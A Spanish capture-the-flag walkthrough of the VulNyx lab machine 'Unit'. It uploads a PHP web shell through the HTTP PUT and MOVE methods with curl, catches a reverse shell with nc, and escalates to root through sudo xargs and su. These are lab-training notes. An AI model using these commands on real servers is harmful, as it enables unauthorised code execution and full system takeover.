VulNyx - Unit

logo

  • Abusing PUT & MOVE Methods
  • Abusing Xargs Binary - Sudo
  • Abusing Su Binary - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v 192.168.1.74

Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

Escaneo de servicios

❯ nmap -sVC -v -p 22,80,8080 192.168.1.74

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|_  256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
80/tcp   open  http    nginx 1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: 415 Unsupported Media Type
|_http-server-header: nginx/1.22.1
8080/tcp open  http    nginx 1.22.1
| http-methods: 
|   Supported Methods: OPTIONS PUT MOVE
|_  Potentially risky methods: PUT MOVE
|_http-title: 415 Unsupported Media Type
|_http-server-header: nginx/1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP TCP - 80

http

HTTP TCP - 8080

http8080

En el escaneo de servicios con nmap se puede ver que el puerto 8080 admite los métodos OPTIONS, PUT y MOVE.

8080/tcp open  http    nginx 1.22.1
| http-methods: 
|   Supported Methods: OPTIONS PUT MOVE
|_  Potentially risky methods: PUT MOVE

Con el método PUT subo el archivo test.txt.

❯ curl -X PUT --upload-file test.txt http://192.168.1.74:8080

Compruebo que se ha subido correctamente.

test

Creo el archivo shell.php con el siguiente contenido.

<?php system($_GET['cmd']); ?>

Si intento subirlo me sale el siguiente error.

❯ curl -X PUT --upload-file shell.php http://192.168.1.74:8080

<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>

Renombro el archivo a txt y lo subo al servidor.

❯ curl -X PUT --upload-file shell.txt http://192.168.1.74:8080

Verifico que se ha subido correctamente.

shelltxt

Con el método MOVE puedo cambiar la extensión txt por php de la siguiente forma.

❯ curl -X MOVE -H "Destination: http://192.168.1.74:8080/shell.php" http://192.168.1.74:8080/shell.txt

Compruebo que puedo ejecutar comandos.

 curl "http://192.168.1.74:8080/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Obtengo la shell.

❯ nc -lvp 1234
listening on [any] 1234 ...
192.168.1.74: inverse host lookup failed: Unknown host
connect to [192.168.1.17] from (UNKNOWN) [192.168.1.74] 54370
bash: cannot set terminal process group (478): Inappropriate ioctl for device
bash: no job control in this shell
www-data@unit:~/unit$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Una vez termino el tratamiento de la tty lanzo un ls y puedo ver los archivos que he subido.

www-data@unit:~/unit$ ls
index.html  shell.php  test.txt

Enumero permisos de sudo.

www-data@unit:~/unit$ sudo -l
Matching Defaults entries for www-data on unit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User www-data may run the following commands on unit:
    (jones) NOPASSWD: /usr/bin/xargs

Para pasar de www-data a jones uso la herramienta gtfobins-cli.

gtfobinsCliXargs

Consigo una shell como usuario jones.

userpivoting

Enumero de nuevo permisos de sudo.

jones@unit:~$ sudo -l
Matching Defaults entries for jones on unit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User jones may run the following commands on unit:
    (root) NOPASSWD: /usr/bin/su

Obtengo el root de la siguiente forma.

root

Y aquí termina la máquina Unit.

Saludos!